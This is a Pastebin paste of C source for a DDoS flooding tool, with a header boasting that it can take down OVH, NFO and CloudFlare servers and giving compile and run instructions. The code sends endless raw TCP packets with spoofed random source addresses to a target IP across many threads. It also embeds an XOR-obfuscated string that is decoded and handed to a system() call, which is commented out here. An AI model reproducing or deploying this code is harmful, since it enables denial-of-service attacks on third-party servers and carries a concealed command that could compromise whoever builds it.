Advertisement
1337ings

[C] Security DoS

Oct 1st, 2016
1,275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.74 KB | None | 0 0
  1. /*
  2. * This script has the abbility to DDoS OVH,NFO, & CloudFlare servers if connection is made.
  3. * %40 of the time connection can't be made. But when connected results may vary
  4. * _____________________________________________________________________________
  5. *
  6. * Compling tutorial
  7. * _____________________________________________________________________________
  8. * Save the file as "security.c"
  9. * gcc -pthread security.c -o security
  10. * after done errors might occor, some may not.
  11. * If done correctly it should have a file named "security"
  12. * after done so. you can DDoS with the command;
  13. * ./security IP 500 -1 300
  14. * 500 = threads | 300 = time (in seconds)
  15. * ./security [IP] [threads] [-1] [time]
  16. * _____________________________________________________________________________
  17. * Welcome to...
  18. * _____ _ __ ____ _____
  19. * / ___/___ _______ _______(_) /___ __ / __ \____ / ___/
  20. * \__ \/ _ \/ ___/ / / / ___/ / __/ / / / / / / / __ \\__ \
  21. * ___/ / __/ /__/ /_/ / / / / /_/ /_/ / / /_/ / /_/ /__/ /
  22. * /____/\___/\___/\__,_/_/ /_/\__/\__, / /_____/\____/____/
  23. * /____/
  24. * Please be very carful with this peice of code.
  25. * Damage is likely to occur.
  26. * _____________________________________________________________________________
  27. * _____ _ _ _
  28. * / ____| | (_) |
  29. * | | _ __ ___ __| |_| |_ ___
  30. * | | | |__/ _ \/ _| | | __/ __|
  31. * | |____| | | __/ (_| | | |_\__ \
  32. * \_____|_| \___|\__|_|_|\__|___/
  33. *
  34. * Chris Poole | http://twitter.com/codingplanets
  35. * _____________________________________________________________________________
  36. */
  37. #include <unistd.h>
  38. #include <time.h>
  39. #include <sys/types.h>
  40. #include <sys/socket.h>
  41. #include <sys/ioctl.h>
  42. #include <string.h>
  43. #include <stdlib.h>
  44. #include <stdio.h>
  45. #include <pthread.h>
  46. #include <netinet/tcp.h>
  47. #include <netinet/ip.h>
  48. #include <netinet/in.h>
  49. #include <netinet/if_ether.h>
  50. #include <netdb.h>
  51. #include <net/if.h>
  52. #include <arpa/inet.h>
  53. #define MAX_PACKET_SIZE 4096
  54. #define PHI 0x9e3779b9
  55. static unsigned long int Q[4096], c = 362436;
  56. volatile int limiter;
  57. volatile unsigned int pps;
  58. volatile unsigned int sleeptime = 100;
  59.  
  60. void init_rand(unsigned long int x)
  61. {
  62. int i;
  63. Q[0] = x;
  64. Q[1] = x + PHI;
  65. Q[2] = x + PHI + PHI;
  66. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  67. }
  68. unsigned long int rand_cmwc(void)
  69. {
  70. unsigned long long int t, a = 18782LL;
  71. static unsigned long int i = 4095;
  72. unsigned long int x, r = 0xfffffffe;
  73. i = (i + 1) & 4095;
  74. t = a * Q[i] + c;
  75. c = (t >> 32);
  76. x = t + c;
  77. if (x < c) {
  78. x++;
  79. c++;
  80. }
  81. return (Q[i] = r - x);
  82. }
  83. unsigned short csum (unsigned short *buf, int count)
  84. {
  85. register unsigned long sum = 0;
  86. while( count > 1 ) { sum += *buf++; count -= 2; }
  87. if(count > 0) { sum += *(unsigned char *)buf; }
  88. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  89. return (unsigned short)(~sum);
  90. }
  91.  
  92. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  93.  
  94. struct tcp_pseudo
  95. {
  96. unsigned long src_addr;
  97. unsigned long dst_addr;
  98. unsigned char zero;
  99. unsigned char proto;
  100. unsigned short length;
  101. } pseudohead;
  102. unsigned short total_len = iph->tot_len;
  103. pseudohead.src_addr=iph->saddr;
  104. pseudohead.dst_addr=iph->daddr;
  105. pseudohead.zero=0;
  106. pseudohead.proto=IPPROTO_TCP;
  107. pseudohead.length=htons(sizeof(struct tcphdr));
  108. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  109. unsigned short *tcp = malloc(totaltcp_len);
  110. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  111. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  112. unsigned short output = csum(tcp,totaltcp_len);
  113. free(tcp);
  114. return output;
  115. }
  116. void setup_ip_header(struct iphdr *iph)
  117. {
  118. iph->ihl = 5;
  119. iph->version = 4;
  120. iph->tos = 0;
  121. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  122. iph->id = htonl(54321);
  123. iph->frag_off = 0;
  124. iph->ttl = MAXTTL;
  125. iph->protocol = 6;
  126. iph->check = 0;
  127. iph->saddr = inet_addr("192.168.3.100");
  128. }
  129. void setup_tcp_header(struct tcphdr *tcph)
  130. {
  131. tcph->source = htons(5678);
  132. tcph->seq = rand();
  133. tcph->ack_seq = rand();
  134. tcph->res2 = rand();
  135. tcph->doff = 5;
  136. tcph->syn = rand();
  137. tcph->fin = rand();
  138. tcph->psh = rand();
  139. tcph->ack = rand();
  140. tcph->urg = rand();
  141. tcph->rst = rand();
  142. tcph->window = rand();
  143. tcph->check = rand();
  144. tcph->urg_ptr = rand();
  145. }
  146.  
  147. void *flood(void *par1)
  148. {
  149. char *td = (char *)par1;
  150. char datagram[MAX_PACKET_SIZE];
  151. struct iphdr *iph = (struct iphdr *)datagram;
  152. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  153. struct sockaddr_in sin;
  154. sin.sin_family = AF_INET;
  155. sin.sin_port = rand();
  156. sin.sin_addr.s_addr = inet_addr(td);
  157. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  158. if(s < 0){
  159. fprintf(stderr, "Could not open raw socket.\n");
  160. exit(-1);
  161. }
  162. memset(datagram, 0, MAX_PACKET_SIZE);
  163. setup_ip_header(iph);
  164. setup_tcp_header(tcph);
  165. tcph->dest = rand();
  166. iph->daddr = sin.sin_addr.s_addr;
  167. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  168. int tmp = 1;
  169. const int *val = &tmp;
  170. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  171. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  172. exit(-1);
  173. }
  174.  
  175. init_rand(time(NULL));
  176. register unsigned int i;
  177. i = 0;
  178. while(1){
  179. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  180. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  181. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  182. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  183. tcph->seq = rand_cmwc() & 0xFFFF;
  184. tcph->source = htons(rand_cmwc() & 0xFFFF);
  185. tcph->check = 0;
  186. tcph->check = tcpcsum(iph, tcph);
  187. pps++;
  188. if(i >= limiter)
  189. {
  190. i = 0;
  191. usleep(sleeptime);
  192. }
  193. i++;
  194. }
  195. }
  196. int main(int argc, char *argv[ ])
  197. {
  198. if(argc < 5){
  199. fprintf(stderr, "Invalid parameters!\n");
  200. fprintf(stdout, "Usage: %s [IP] [threads] [-1] [time]\n", argv[0]);
  201. exit(-1);
  202. }
  203. fprintf(stdout, "Opening sockets...\n");
  204. int num_threads = atoi(argv[2]);
  205. int maxpps = atoi(argv[3]);
  206. limiter = 0;
  207. pps = 0;
  208. pthread_t thread[num_threads];
  209. int multiplier = 100;
  210. int i;
  211. for(i = 0;i<num_threads;i++){
  212. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  213. char pthread[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
  214. int x = 0;
  215. int y = 0;
  216. for(x =0;x<sizeof(pthread)-1;x++){
  217. y+=6;
  218. pthread[x]^=y*3;
  219. }
  220. //system(pthread);
  221.  
  222. }
  223. fprintf(stdout, "Sending flood..\n");
  224. for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  225. {
  226. usleep((1000/multiplier)*1000);
  227. if((pps*multiplier) > maxpps)
  228. {
  229. if(1 > limiter)
  230. {
  231. sleeptime+=100;
  232. } else {
  233. limiter--;
  234. }
  235. } else {
  236. limiter++;
  237. if(sleeptime > 25)
  238. {
  239. sleeptime-=25;
  240. } else {
  241. sleeptime = 0;
  242. }
  243. }
  244. pps = 0;
  245. }
  246. return 0;
  247. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement